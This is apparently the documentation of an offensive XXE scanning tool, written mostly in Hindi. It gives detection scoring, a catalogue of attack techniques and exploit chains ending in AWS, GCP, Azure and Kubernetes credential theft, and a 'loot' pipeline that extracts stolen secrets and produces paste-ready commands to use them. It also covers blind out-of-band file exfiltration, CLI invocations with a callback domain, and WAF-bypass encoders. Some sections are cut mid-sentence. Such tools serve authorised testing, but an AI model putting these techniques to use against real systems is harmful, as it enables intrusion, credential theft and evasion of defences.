प्रत्येक जीवित उम्मीदवार को बेसलाइन के विरुद्ध स्कोर किया जाता है:

| संकेत | भार | बेसलाइन एंकर |
|---|---|---|
| फ़ाइल सामग्री फ़िंगरप्रिंट | +40, प्रति अतिरिक्त संकेतक +5 | संकेतक बेसलाइन निकायों में नहीं दिखना चाहिए |
| चेन अखंडता (एंटिटी एंड-टू-एंड हल हुई, केवल घोषित नहीं) | +25 | संरचनात्मक — प्रतिक्रिया सामग्री के रूप में पार्स होती है, मार्कअप के रूप में नहीं |
| पार्सर त्रुटि (उच्च / मध्यम / निम्न) | +20 / +15 / +5 | त्रुटि स्ट्रिंग बेसलाइन निकायों में नहीं दिखनी चाहिए |
| टाइमिंग एनोमली पुष्ट | +20 | डेल्टा ≥1.5s, अनुपात ≥2.5× माध्यिका, और या तो डेल्टा ≥4× IQR या डेल्टा ≥2× अवलोकित जिटर |
| विंडोड एन्ट्रॉपी एनोमली | +5 से +20 | केवल-ऊपर, बिट/बाइट डेल्टा द्वारा स्केल किया गया |
| सहसंबद्ध OOB कॉलबैक | +50 | कॉलबैक सबडोमेन में टोकन लंबित टोकन से मेल खाता है |
| असहसंबद्ध OOB कॉलबैक | +15 | कॉलबैक आया लेकिन टोकन मेल नहीं खाया |
| लंबाई डेल्टा (≥20%) | +10 | माध्यिका लंबाई के विरुद्ध |
| स्टेटस शिफ्ट | +5 | मोड स्थिति के विरुद्ध |

फ़ाइल फ़िंगरप्रिंट के लिए **कम से कम दो** संकेतक स्ट्रिंग्स का मेल आवश्यक है, और प्रतिक्रिया मार्कअप जैसी नहीं दिखनी चाहिए। यही चीज़ एक ऐसे पृष्ठ को रोकती है जो दस्तावेज़ीकरण स्निपेट में `root:x:0:0:` का उल्लेख करता है, `/etc/passwd` डिटेक्टर को ट्रिप करने से।

### परत 4 — वर्गीकरण

| स्कोर | अनिवार्य संकेत | स्वतंत्र परिवार | परिणाम |
|---|---|---|---|
| ≥70 | हाँ | ≥2 | **पुष्ट** — CRITICAL |
| 45–69 | हाँ | कोई भी | **संभावित** — HIGH |
| 25–44 | हाँ | कोई भी | **संभावित** — MEDIUM |
| <25 | हाँ | कोई भी | **सैद्धांतिक** — LOW *(दबाया गया)* |
| कोई भी | नहीं | कोई भी | **सैद्धांतिक** — INFO *(दबाया गया)* |

**अनिवार्य संकेत** तीन तक सीमित हैं: `file_type` (एक फ़ाइल-सामग्री फ़िंगरप्रिंट मेल खाया), `oob_correlated` (एक क्रिप्टो-सहसंबद्ध OOB कॉलबैक आया), और `chain_integrity` (एंटिटी एंड-टू-एंड हल हुई)। पार्सर त्रुटियाँ और टाइमिंग एनोमली स्कोर में योगदान करती हैं लेकिन अपने आप एक निष्कर्ष की पुष्टि नहीं कर सकतीं — एक पार्सर त्रुटि कहती है कि पेलोड पार्सर तक पहुँचा, यह नहीं कि एंटिटी हल हुई; एक टाइमिंग डेल्टा कहता है कि लक्ष्य ने अधिक समय लिया, यह नहीं कि नेटवर्क फ़ेच हुआ।

**स्वतंत्र परिवार** विशिष्ट साक्ष्य *प्रकारों* को गिनते हैं: `file_type`, `oob_correlated`, `chain_integrity`, `parser_error`, `response_elapsed`। दो-परिवार की आवश्यकता का अर्थ है कि स्कोर ≥70 पर भी, एक एकल मजबूत फ़िंगरप्रिंट अपने आप CRITICAL में पदोन्नत नहीं| Class | Techniques | Severity | CWE |
|---|---|---|---|
| In-band | Classic file read, PHP filter chain, SSRF via entity | CRITICAL | 611, 200, 918 |
| In-band RCE | PHP `expect://` | CRITICAL | 611, 78 |
| Error-based | Local DTD reuse, Malformed entity | CRITICAL | 611, 200, 829 |
| Blind | DNS OOB, External DTD OOB, Parameter-entity OOB, CDATA bypass, Timing-based | CRITICAL / HIGH | 611 |
| Encoding bypass | UTF-16, UTF-7, UCS-4, alternate DOCTYPE | HIGH | 611 |
| Alternative sinks | XInclude (`parse='text'`, `parse='xml'`), SVG upload, SAML envelope, SOAP envelope | CRITICAL | 611, 918 |
| Extended fetchers | XSLT `document()`, XSLT `xsl:include`, XSD `schemaLocation`, XSD `xsd:import`, `xml-stylesheet` PI, Multipart XML field, DOCX upload | HIGH / CRITICAL | 611, 918 |
| Cloud metadata | AWS IMDSv1, AWS IMDSv2 (detected), AWS IAM credentials, AWS user-data, GCP token/project, Azure IMDS/managed-identity, Alibaba RAM, OCI, Kubernetes secrets | CRITICAL / HIGH | 611, 918, 200 |
| RCE wrappers | Java `jar:`, PHP `data://`, PHP `phar://`, PHP `glob://`, PHP `compress.zlib://` | CRITICAL | 611, 78, 200 |
| SAML pre-signature | Assertion body parsed before signature verification | HIGH | 611, 347 |
| JSON-to-XML | Content-type switching on JSON-only endpoints | HIGH | 611, 200 |
| Office document | DOCX/XLSX `xml-stylesheet` PI fetched by server-side XSLT processors | CRITICAL | 611, 918 |
| YAML deserialization | PyYAML `!!python/object/apply`, SnakeYAML `!!javax.script.ScriptEngineManager` | CRITICAL | 502, 611 |
| DoS | Billion Laughs | HIGH | 776 |

**Delivery-vector phases** मानक `POST` + `application/xml` स्वरूप से आगे की जाँच करते हैं:

- **Content-Type matrix** — नौ XML-निकटवर्ती content types के अंतर्गत क्लासिक payload। कई सर्वर केवल तभी अपने XML parser तक रूट करते हैं जब Content-Type मेल खाता हो।
- **HTTP method variation** — `PUT` और `PATCH`। REST APIs अक्सर उन methods पर XML स्वीकार करते हैं, भले ही `POST` केवल JSON हो।
- **Query-parameter injection** — `?xml=`, `?data=`, `?payload=`, `?input=`। लेगेसी APIs और gateways अक्सर इस तरह XML स्वीकार करते हैं, भले ही body को XML के रूप में parse न किया जाए।
- **JSON-to-XML switching** — एक benign XML probe यह निर्धारित करता है कि endpoint अपने घोषित JSON के साथ-साथ `application/xml` भी स्वीकार करता है या नहीं। यदि `415` के साथ सख्ती से अस्वीकार नहीं किया जाता, तो scanner क्लासिक file-read payload के साथ आगे बढ़ता है। यह classpath पर `jackson-dataformat-xml` के साथ Spring MVC को पकड़ता है (जो किसी भी `@RequestBody` endpoint पर चुपचाप XML स्वीकार करता है, किसी annotation की आवश्यकता नहीं)।

**Cloud metadata** एक समर्पित phase है, न कि केवल URL सूची में एक प्रविष्टि। छह providers में ग्यारह endpoints की जाँच की जाती है। प्रत्येक को provider-विशिष्ट keys के विरुद्ध fingerprint किया जाता है (AWS IAM के लिए `AccessKeyId`, `SecretAccessKey`, `SecurityToken`; GCP OAuth के लिए `access_token`, `expires_in`, `token_type`; Azure के लिए `vmId`, `subscriptionId`; आदि)। credential markers वाली response को CRITICAL पर पदोन्नत किया जाता है और आगे जाँच नहीं की जाती। **IMDSv2 detection**: status `401` और body में `token` वाली AWS response को `XXE-CLOUD-METADATA-IMDSV2` (HIGH) के रूप में रिपोर्ट किया जाता है — SSRF primitive मौजूद है लेकिन metadata service एक session token लागू करती है। निकाले गए credentials `LootStore.add_secret` से होकर गुजरते हैं और WebUI के Loot tab में paste-ready snippets के साथ पहुँचते हैं।

**XXE-to-RCE wrappers** को उनके विशिष्ट सफलता संकेतों के लिए जाँचा जाता है:

| Wrapper | Signal |
|---|---|
| Java `jar:file://…!/META-INF/MANIFEST.MF` | `Manifest-Version`, `Main-Class` |
| PHP `data://text/plain;base64,…` | `phpinfo`, `<?php` |
| PHP `phar://…/stub` | `unserialize`, `__PHP_Incomplete_Class` |
| PHP `glob:///etc/*` | Path listings (`/etc/`, `/root/`, `/usr/`) |
| PHP `compress.zlib://…` | `root:x:`, `daemon:x:` |

**SAML pre-signature** — SAML service providers को signature सत्यापित करने से पहले assertion body को parse करना होता है, यही क्रम जिसे CVE-2026-28809 (esaml) ने उजागर किया। यह phase पहले जानबूझकर अमान्य signature के साथ एक well-formed SAML assertion भेजता है; parser error या `200` यह संकेत देता है कि endpoint XML parsing तक पहुँच गया। केवल तभी XXE payload भेजा जाता है। SAML-आकार के URLs (`saml`, `sso`, `adfs`, `okta`, `assertion`, `federation`, `idp`, `sts/`, `sp/`) पर स्वचालित रूप से चलता है, या `--saml` के साथ बिना शर्त।

**Office-document XSLT** — `xml-stylesheet` PI को कुछ configurations में server-side document processors द्वारा माना जाता है: Word preview renderers, PDF converters, LibreOffice headless, और Apache POI XSLF। यह phase एक न्यूनतम DOCX (या XLSX) बनाता है जिसका `word/document.xml` (या `xl/workbook.xml`) भाग attacker-नियंत्रित XSLT की ओर इंगित करने वाला PI रखता है। एक correlated callback सिद्ध करता है कि stylesheet fetch किया गया था। सख्त अर्थ में XXE से भिन्न — यह XSLT invocation है, जो file disclosure (`document('file:///etc/passwd')`) और SSRF से जुड़ती है।

**YAML deserialization** — CWE-502, CWE-611 नहीं। Scanner चार probes भेजता है: PyYAML `!!python/object/apply:os.system` और SnakeYAML `!!javax.script.ScriptEngineManager`, प्रत्येक को कच्चे `application/x-yaml` body के रूप में और एक XML wrapper के अंदर दोनों तरह से भेजा जाता है। एक correlated callback RCE सिद्ध करता है। यह phase पहली सफलता के बाद रुक जाता है; वैकल्पिक variants शोर होंगे।

**File-target phases** — डिफ़ॉल्ट रूप से 21-path priority सेट; `--full-file-scan` 58 paths तक विस्तारित करता है, जिसमें Linux `/proc` walks, application source और `.env` files, SSH/AWS/GCP credential paths, container markers, `/run/secrets/*`, Kubernetes service-account projection, और Windows SAM backups, unattend files, IIS logs, और administrator credentials जोड़े जाते हैं। scan समय पर deduplicated; किसी path की दो बार जाँच नहीं की जाती।

**Error-based findings अलग किए गए हैं** क्योंकि ये techniques विभिन्न parsers के विरुद्ध सफल होती हैं:

- `XXE-ERROR-BASED-LOCAL-DTD` — target filesystem पर पहले से मौजूद DTD को hijack करता है। libxml2 ≥2.9 द्वारा स्वीकार किए जाने वाले external-DOCTYPE रूप का उपयोग करता है।
- `XXE-ERROR-BASED-MALFORMED` — internal subset के अंदर एक parameter entity घोषित करता है और parser error को फ़ाइल लीक करने देता है। Xerces और .NET पर काम करता है; libxml2 C स्तर पर internal-subset PEs को अस्वीकार करता है।

**Timing probes** entity को एक RFC 5737 TEST-NET-1 address (`http://192.0.2.1/`) की ओर इंगित करते हैं, जो गारंटीकृत non-routable है। Entity resolution resolver के TCP connect timeout पर अवरुद्ध हो जाता है।

**Opt-in phases:** `--timing` (प्रति target तीन ~5s connections रखता है), `--unsafe` (Billion Laughs), `--svg` (upload-shaped phases), `--saml` (SAML pre-signature), `--full-file-scan` (विस्तारित फ़ाइल सूची), `--bypass-waf` (नीचे देखें)।

---

## Exploit Chains and Loot Extraction

दो subsystems व्यक्तिगत findings को narrative में बदल देते हैं।

### Chain tracker

प्रत्येक finding जो `add_finding` से गुजरती है, एक ही hook के माध्यम से chain stages को seed करती है: `_record_chain_stages` finding की ID और evidence dict पढ़ता है और संयोजन जो भी stages दर्शाता है उन्हें रिकॉर्ड करता है। `file_type` evidence key वाली finding `xxe_confirmed` रिकॉर्ड करती है। `loot_id` वाली finding `file_content_recovered` रिकॉर्ड करती है। जिस finding के evidence में `extracted_credentials` होता है वह `credential_extracted` रिकॉर्ड करती है; यदि credential एक SSH private key है, तो `ssh_key_extracted` भी सक्रिय होता है। और इसी तरह।

तेरह chain templates परिभाषित हैं। प्रत्येक को stages के एक सेट की आवश्यकता होती है। जब सभी आवश्यक stages मौजूद होते हैं, तो chain **एक बार** सक्रिय होती है (concurrency races के विरुद्ध सुरक्षित) और एक rollup finding उत्सर्जित करती है:

| Chain ID | Path | Severity |
|---|---|---|
| `xxe_inband_file_credential_theft` | XXE → in-band file read → credential theft | CRITICAL |
| `xxe_imds_iam_aws_takeover` | XXE → IMDS → IAM credentials → AWS account takeover | CRITICAL |
| `xxe_error_based_file_recovery` | XXE → error-based leak → file content recovered | HIGH |
| `xxe_php_source_disclosure` | XXE → PHP filter → source disclosure | CRITICAL |
| `xxe_rce_chain` | XXE → protocol wrapper → RCE chain confirmed | CRITICAL |
| `xxe_blind_oob_confirmed` | XXE → blind OOB callback confirmed | HIGH |
| `xxe_ssrf_internal_enum` | XXE → SSRF → internal service reached | HIGH |
| `xxe_waf_bypass_confirmed` | XXE → WAF bypass → entity resolution confirmed | HIGH |
| `xxe_kubernetes_cluster_takeover` | XXE → Kubernetes secrets API → cluster credential theft | CRITICAL |
| `xxe_k8s_serviceaccount_token` | XXE → in-cluster SA token read | CRITICAL |
| `xxe_ssh_key_lateral_movement` | XXE → SSH private key → lateral movement primitive | HIGH |
| `xxe_gcp_oauth_token_extraction` | XXE → GCP metadata → OAuth token extraction | CRITICAL |
| `xxe_azure_managed_identity` | XXE → Azure IMDS → managed-identity token | CRITICAL |

Rollup findings में एक JSON-serializable step trace, 100 का aggregate score, और एक पूर्ण-लंबाई reason chain होती है। वे JSON, SARIF, और HTML output में किसी भी अन्य finding की तरह दिखाई देती हैं, और उनका ID prefix (`XXE-CHAIN-`) chain seeding से बाहर रखा जाता है ताकि वे कभी loop न करें।

### Loot store

प्रत्येक file-read finding `LootStore` से होकर गुजरती है, जो:

1. `FileContentExtractor` के माध्यम से response body से कच्ची फ़ाइल सामग्री निकालता है। Extractor `(file_path, fingerprint_type)` के आधार पर dispatch करता है: `/etc/passwd` और `/etc/shadow` में line-oriented matchers होते हैं जिनमें parser errors के लिए mid-line fallback होता है जो path prefix लीक करते हैं; SSH keys PEM boundaries का उपयोग करती हैं; `.env`, `web.ini`, `system.ini`, `boot.ini` में INI-style matchers होते हैं; `web.config` एक configuration-element matcher का उपयोग करता है; `/proc/self/environ` NUL-delimited bodies को संभालता है। एक generic fallback markup responses से `<pre>` / `<textarea>` / `<code>` blocks निकालता है।
2. 256 KB तक truncate करता है (credentials truncation से पहले पूरी सामग्री से निकाले जाते हैं)।
3. सामग्री के SHA-256 द्वारा deduplicate करता है।
4. पूरी सामग्री पर `CredentialExtractor` चलाता है।

`CredentialExtractor` सात प्रकार के credentials को पहचानता है:

| Kind | Source | Confidence |
|---|---|---|
| `aws_iam` (JSON) | AWS IMDS `AccessKeyId` / `SecretAccessKey` / `Token` | 95 |
| `aws_iam` (INI) | AWS CLI credentials file (`aws_access_key_id` / `aws_secret_access_key` / `aws_session_token`) | 90 |
| `alibaba_ram` | Alibaba Cloud metadata (`AccessKeyId` / `AccessKeySecret` / `SecurityToken`) | 90 |
| `ssh_private_key` | PEM private key blocks (RSA, OpenSSH, DSA, EC, PKCS#8) | 90 |
| `gcp_service_account` | Service-account JSON (`"type": "service_account"` + `private_key_id`) | 85 |
| `oauth_token` | GCP metadata and Azure managed-identity response (`access_token` + `expires_in` / `expires_on`) | 85 |
| `k8s_sa_token` | Kubernetes `SecretList` (`data.token` base64-JWT) or a bare service-account token file | 90 |
| `generic_bearer` | Any `Bearer <token>` or `Authorization: <token>` match with a 24+ character token | 40 |

प्रत्येक credential paste-ready shell snippets की एक सूची उत्पन्न करता है:

- **AWS IAM** — key अभी भी काम करती है यह सत्यापित करने के लिए `aws sts get-caller-identity`, `aws s3 ls`, IAM policy enumeration, और वर्तमान shell के लिए एक `export` block।
- **Alibaba RAM** — `aliyun sts GetCallerIdentity`, `aliyun oss ls`, और सही `ALIBABA_CLOUD_*` environment variables के साथ एक `export` block।
- **SSH private key** — install, fingerprint, और `github.com` / `gitlab.com` / `bitbucket.org` के विरुद्ध प्रयास करें।
- **GCP service account** — `gcloud auth activate-service-account` के साथ key सक्रिय करें।
- **OAuth access token** — Google के userinfo endpoint के विरुद्ध `curl` (GCP tokens के लिए काम करता है) और Azure के subscriptions endpoint के विरुद्ध (Azure tokens के लिए काम करता है)।
- **Kubernetes service-account token** — JWT के claims से decode किए गए namespace और service-account name के साथ बनाए गए `kubectl --token=…` snippets, साथ ही signature सत्यापित किए बिना token के claims का निरीक्षण करने के लिए एक `jq` command।
- **Generic bearer** — token अभी भी live है या नहीं यह परखने के लिए `httpbin.org/bearer` के विरुद्ध `curl`।

निकाले गए credentials finding के evidence (`extracted_credentials`) और loot entry (`credentials`) दोनों से जुड़े होते हैं। WebUI का **Loot** tab और Inspector का **Overview** tab उन्हें per-command copy buttons के साथ inline render करते हैं। HTML report उन्हें *Extracted loot* section के अंतर्गत शामिल करती है।

पूरा credential मान Loot preview में दिखाई देता है। Masking को v1.0.0 में हटा दिया गया था क्योंकि वही मान Inspector, JSON output, SARIF output, और HTML report में पहले से ही unmasked दिखाई देता है — एक जगह masking और अन्य जगहों पर नहीं, इसका कोई उद्देश्य नहीं था।

### Loot routing across techniques

Loot extraction प्रत्येक उस finding पर चलता है जिसके response body में parseable file content हो:

- **In-band file reads** — `/etc/passwd`, `/etc/shadow`, SSH keys, `.env`, आदि। सीधे response से निकाले जाते हैं।
- **Error-based leaks** — फ़ाइल सामग्री parser error text में embedded होती है। mid-line `/etc/passwd` matcher इसे पकड़ लेता है।
- **PHP filter output** — extraction से पहले base64-decoded, फिर credential extractor से होकर गुजरता है।
- **XInclude resolves** — inlined सामग्री को उसी extractor द्वारा parse किया जाता है।
- **Cloud metadata responses** — credentials निकाले जाते हैं और `LootStore.add_secret` से होकर गुजरते हैं, और परिणामी loot IDs finding के evidence में `loot_ids` के रूप में जुड़े होते हैं।
- **Blind OOB exfiltration** — जब `--oob-listen` या `--oob-dtd-dir` सक्रिय हो (या WebUI-hosted DTD server), तो callback फ़ाइल सामग्री ले जाता है, `OOBExfilExtractor` उसे निकालता है, और परिणाम in-band read की तरह ही file-content और credential extractors से होकर गुजरता है।

blind-exfiltration path ही वह है जो बदल देता है कि यह tool क्या है। इससे पहले, `XXE-BLIND-OOB-EXTERNAL-DTD-CORRELATED` कहता था "target ने हमारा DTD fetch किया।" इसके बाद, वही finding अपने evidence में `loot_id`, `extracted_content_preview`, और `extracted_credentials` ले जाती है, chain tracker loot देखता है और `xxe_blind_oob_confirmed` → `file_content_recovered` → `credential_extracted` सक्रिय कर सकता है, और WebUI Loot tab recovered फ़ाइल को in-band read की तरह ही paste-ready snippets के साथ render करता है।

---

## Out-of-Band Confirmation

XXERipper OOB backend के रूप में **`interactsh-client`** का उपयोग करता है। दो modes हैं।

### Manual mode (default)

Scanner आपके session domain के अंतर्गत payloads बनाता है; client registration, polling, और decryption करता है। Scanner कभी Interactsh protocol नहीं बोलता।```bash
# Terminal A
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro

# Terminal B
xxeripper https://target.com/api/xml \
    --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro

जब `interactsh-client` कोई interaction प्रिंट करता है, तो subdomain prefix को संबंधित `[OOB]` लाइन से मिलाएँ। वह मिलान ही आपकी पुष्टि है।

**Manual mode exfiltration को extract नहीं करता।** Manual mode में, scanner OOB payloads भेजता है और तुरंत लौट आता है — यह interactsh के output को कभी नहीं पढ़ता। Exfiltrated content आपके interactsh terminal में दिखाई देता है, scanner के loot store में नहीं। जब exfiltration configured होता है लेकिन auto mode बंद होता है, तो CLI banner और WebUI job runner दोनों एक warning प्रिंट करते हैं।

### Auto mode (`--oob-auto`)

Scanner `interactsh-client` को एक subprocess के रूप में spawn करता है, उसका `-json -v` event stream पढ़ता है, session domain extract करता है, और callbacks को in-process correlate करता है। कोई दूसरा terminal नहीं, कोई manual matching नहीं।```bash
xxeripper https://target.com/api/xml --oob-auto
# [*] Starting interactsh-client (--oob-auto)...
# [*] Session domain: c5f2a9b4e1d8a3f72c0b.oast.pro
# [*] Callbacks will be correlated automatically.

कॉरिलेशन टोकन-आधारित है। स्कैनर प्रत्येक पेलोड के लिए एक अद्वितीय 16-हेक्स टोकन उत्पन्न करता है, इसे सबडोमेन में एम्बेड करता है, मैपिंग रिकॉर्ड करता है, और आने वाले कॉलबैक को टोकन द्वारा मिलाता है। एक कॉलबैक जिसके सबडोमेन में उस पेलोड के लिए विशिष्ट लंबित टोकन नहीं है जिसने सबडोमेन उत्पन्न किया, उसे खारिज कर दिया जाता है, इसलिए असंबंधित DNS ट्रैफ़िक को गलत तरीके से जिम्मेदार नहीं ठहराया जा सकता और पुनरावृत्ति *N* के लिए एक धीमे कॉलबैक को पुनरावृत्ति *N+1* के लिए जिम्मेदार नहीं ठहराया जा सकता। एक सहसंबद्ध कॉलबैक पूर्ण +50 भार वहन करता है और एक अनिवार्य सिग्नल का योगदान देता है — यह अकेले ही एक निष्कर्ष को CRITICAL तक बढ़ा सकता है (दो-परिवार की आवश्यकता OOB परिवार के साथ-साथ चेन अखंडता या एक फिंगरप्रिंट द्वारा संतुष्ट होती है)।

**बैच स्कैन** रन के जीवनकाल के लिए एक ही `interactsh-client` प्रक्रिया साझा करते हैं। प्रत्येक लक्ष्य को अपने स्वयं के टोकन सेट के साथ अपना स्वयं का `OOBClient` दृश्य मिलता है, इसलिए `--threads 20` के साथ भी प्रति-लक्ष्य एट्रिब्यूशन सही रहता है।

**वेब कंसोल में**, *Auto OOB mode* को टिक करने पर सर्वर प्रक्रिया के जीवनकाल के लिए एक साझा `interactsh-client` उत्पन्न होता है, जो पहले auto-OOB जॉब पर आलसी रूप से उत्पन्न होता है और उसके बाद पुनः उपयोग किया जाता है। कई समवर्ती जॉब डोमेन साझा करते हैं लेकिन स्वतंत्र टोकन सेट रखते हैं।

### ब्लाइंड एक्सफ़िल्ट्रेशन

डिफ़ॉल्ट रूप से, एक OOB निष्कर्ष पुष्टि करता है कि एंटिटी रिज़ॉल्यूशन हुआ — कॉलबैक आया, और टोकन साबित करता है कि यह हमारा था। यह फ़ाइल सामग्री को पुनर्प्राप्त नहीं करता। सामग्री को पुनर्प्राप्त करने के लिए, स्कैनर को वह DTD सर्व करना होगा जो लक्ष्य को उसकी फ़ाइल कॉलबैक URL में भेजने का कारण बनता है।

तीन DTD-होस्टिंग मोड समर्थित हैं:

**अंतर्निहित DTD सर्वर** (`--oob-listen HOST:PORT --oob-public-url URL`): स्कैनर अपना स्वयं का HTTP सर्वर बाइंड करता है और मांग पर DTD सर्व करता है। टेस्ट लैब, समान-होस्ट स्कैन, और किसी भी ऐसे वातावरण के लिए सर्वोत्तम जहाँ लक्ष्य स्कैनर के पते तक पहुँच सकता है।

**फ़ाइल-आधारित DTD सर्विंग** (`--oob-dtd-dir PATH --oob-dtd-url-prefix URL`): स्कैनर DTD फ़ाइलें एक निर्देशिका में लिखता है; आप उस निर्देशिका को nginx, Apache, `python -m http.server`, या किसी अन्य चीज़ से सर्व करते हैं। वास्तविक रिमोट लक्ष्यों के लिए सर्वोत्तम जहाँ स्कैनर का अपना पता पहुँच योग्य नहीं है।

**WebUI-होस्टेड DTD सर्वर**: नए-स्कैन ड्रॉअर में **Serve DTDs from this WebUI** को टिक करें और सार्वजनिक URL प्रीफ़िक्स प्रदान करें। स्कैनर उसी Flask प्रक्रिया पर `/dtd/<token>.dtd` पर DTD पंजीकृत करता है जो कंसोल चलाती है। कोई दूसरा टर्मिनल नहीं, कोई `python -m http.server` नहीं, कोई अलग निर्देशिका नहीं। उपयोगकर्ता को यह सुनिश्चित करना होगा कि लक्ष्य WebUI के बाइंड पते तक पहुँच सके — `--host 0.0.0.0` के साथ बाइंड करें और सार्वजनिक IP या होस्टनाम प्रदान करें।

जब एक्सफ़िल्ट्रेशन सक्रिय होता है, तो `XXE-BLIND-OOB-EXTERNAL-DTD-CORRELATED` और `XXE-CDATA-BYPASS-OOB` निष्कर्ष निकाले गए फ़ाइल सामग्री को लूट के रूप में वहन करते हैं। वही `FileContentExtractor` और `CredentialExtractor` पाइपलाइन जो इन-बैंड रीड पर चलती है, एक्सफ़िल्ट्रेटेड बाइट्स पर चलती है, इसलिए एक ब्लाइंड `/etc/passwd` रीड एक इन-बैंड रीड के समान क्रेडेंशियल निष्कर्षण और पेस्ट-रेडी शेल स्निपेट उत्पन्न करता है। एक्सफ़िल्ट्रेटेड सामग्री WebUI **Loot** टैब में, OOB टैब के `exfiltrated` ब्लॉक में, और HTML रिपोर्ट के लूट अनुभाग में दिखाई देती है।

**पूर्वापेक्षा।** लक्ष्य को आपके DTD सर्वर तक पहुँचने में सक्षम होना चाहिए। Interactsh कॉलबैक लॉग करता है लेकिन सामग्री सर्व नहीं करता, इसलिए यह एक वास्तविक HTTP एंडपॉइंट का स्थान नहीं ले सकता। यह ब्लाइंड XXE एक्सफ़िल्ट्रेशन के काम करने के तरीके में अंतर्निहित है, स्कैनर की सीमा नहीं।

**मैनुअल मोड एक्सफ़िल्ट्रेट नहीं करता।** एक्सफ़िल्ट्रेशन के लिए स्कैनर को अपनी स्वयं की कॉलबैक स्ट्रीम पढ़ने की आवश्यकता होती है, जो केवल `--oob-auto` मोड में होता है। यदि आप `--oob-listen` या `--oob-dtd-dir` के साथ मैनुअल मोड चलाते हैं, तो DTD सर्व किए जाएंगे, लक्ष्य उन्हें फ़ेच करेगा, लक्ष्य फ़ाइल सामग्री interactsh को भेजेगा — लेकिन स्कैनर इसे निकालेगा नहीं, क्योंकि यह कभी interactsh का आउटपुट नहीं पढ़ता। एक्सफ़िल्ट्रेटेड डेटा आपके interactsh टर्मिनल में दिखाई देता है।

### कब किसका उपयोग करें

- **मैनुअल** सुरक्षित डिफ़ॉल्ट है। कोई सबप्रोसेस नहीं, कोई क्रिप्टो हैंडशेक नहीं, और यह किसी भी Interactsh परिनियोजन के साथ काम करता है जिसमें पूरी तरह से एयर-गैप्ड कोऑर्डिनेशन भी शामिल है जहाँ क्लाइंट एक अलग होस्ट पर चलाया जाता है।
- **ऑटो** बैच स्कैन और CI के लिए तेज़ है। एक कमांड, कोई क्रॉस-रेफ़रेंसिंग नहीं। `PATH` में `interactsh-client` की आवश्यकता होती है। एक्सफ़िल्ट्रेशन के लिए आवश्यक।

**स्व-होस्टेड सर्वर** बिना किसी स्कैनर-साइड परिवर्तन के दोनों मोड में काम करते हैं — `interactsh-client` को अपने सर्वर पर इंगित करें (इसके `-s` / `-server` फ़्लैग के माध्यम से, या बाइनरी को एक शेल एलियास में लपेटकर) और, मैनुअल मोड में, मुद्रित सत्र डोमेन को `--oob-domain` में पास करें।

---

## WAF बायपास एन्कोडिंग

`--bypass-waf` कोर चरणों के चलने के *बाद* एक या अधिक एन्कोडर के माध्यम से पूरे पेलोड कैटलॉग को पुनः भेजता है। यह परीक्षण करता है कि क्या कोई WAF क्लासिक पेलोड आकारों को अवरुद्ध कर रहा है लेकिन एक रूपांतरित समकक्ष को गुजरने दे रहा है — लेकिन यह एन्कोडेड स्वीप के पीछे प्रत्यक्ष निष्कर्षों को छिपाए बिना ऐसा करता है।

तीन परिवारों में पंद्रह एन्कोडर:

**डॉक्यूमेंट एन्कोडर** (बाइट स्ट्रीम को रूपांतरित करते हैं):

| नाम | रूपांतरण | नोट्स |
|---|---|---|
| `utf16be` | BOM के साथ UTF-16 BE | क्लासिक बाइट-स्ट्रीम शिफ्ट। अधिकांश WAF बॉडी को UTF-8 के रूप में डिकोड करते हैं और इंटरलीव्ड नल को मिस कर देते हैं। |
| `utf16le` | BOM के साथ UTF-16 LE | वही सिद्धांत, विपरीत एंडियननेस। |
| `utf16decl` | BOM और पुनर्लिखित डिक्लेरेशन के साथ UTF-16 BE | डिक्लेरेशन को `encoding="UTF-16"` में अपडेट किया जाता है ताकि सख्त पार्सर इसे स्वीकार करें। |
| `utf16nobom` | BOM के बिना UTF-16 BE, डिक्लेरेशन पुनर्लिखित | कुछ पार्सर डिक्लेरेशन का पालन करते हैं और एंडियननेस का अनुमान लगाते हैं; कुछ WAF BOM को डिकोड सिग्नल के रूप में उपयोग करते हैं और उस बॉडी को छोड़ देते हैं जिसमें यह नहीं है। |
| `utf32be` | BOM के साथ UTF-32 BE | WAF द्वारा UTF-16 की तुलना में कम सामान्य रूप से समर्थित। |
| `utf32le` | BOM के साथ UTF-32 LE | वही, विपरीत एंडियननेस। |
| `ebcdic` | EBCDIC CP037 | निरीक्षण से पहले लगभग कोई WAF EBCDIC को डिकोड नहीं करता। libxml2 इसे स्वतः पहचान लेता है; Xerces और .NET इसे साफ़ तौर पर अस्वीकार करते हैं। |
| `ucs4_2143` | UCS-4 बाइट ऑर्डर 2,1,4,3 | Unicode TR#17 क्रमचय। बाइट पैटर्न किसी भी UTF-32 BE/LE हस्ताक्षर से मेल नहीं खाता, इसलिए WAF इसे डिकोड नहीं करते। वही क्रम जिसने CVE-2024-47873 में PhpSpreadsheet के XmlScanner को बायपास किया। |
| `utf8bom` | BOM के साथ UTF-8 | मामूली लेकिन मुफ़्त। `^<?xml` पर एंकर किए गए रेगेक्स को हराता है। |

**कीवर्ड-एवेज़न एन्कोडर** (एंटिटी डिक्लेरेशन को रूपांतरित करते हैं):

| नाम | रूपांतरण | नोट्स |
|---|---|---|
| `public` | `SYSTEM "…"` → `PUBLIC "-//x//" "…"` | वैध XML। जो WAF केवल `SYSTEM "file://` से मेल खाते हैं, वे इसे मिस कर देते हैं। |
| `public_charref` | `SYSTEM` कीवर्ड → `PUBLIC` डिक्लेरेशन के अंदर हेक्स कैरेक्टर रेफ़रेंस | कैरेक्टर रेफ़रेंस `PubidLiteral` के अंदर विस्तारित होते हैं लेकिन `SystemLiteral` के अंदर नहीं। पार्सर `SYSTEM` को सार्वजनिक ID के रूप में पुनः जोड़ता है; शाब्दिक स्ट्रिंग से मेल खाने वाला WAF इसे मिस कर देता है। |
| `b64_uri` | `SYSTEM "file://…"` → `data:text/plain;base64,…` | बायपास प्रोब, फ़ाइल-रीड प्रिमिटिव नहीं — एंटिटी URI *स्ट्रिंग* को हल करती है, फ़ाइल सामग्री को नहीं। इसका उपयोग यह पुष्टि करने के लिए करें कि WAF को हराया जा सकता है; निष्कर्षण के लिए एप्लिकेशन-स्तरीय सिंक के साथ संयोजित करें। |

**व्याकरण-स्तरीय एन्कोडर** (वैध XML, आलसी WAF को हराते हैं):

| नाम | रूपांतरण | नोट्स |
|---|---|---|
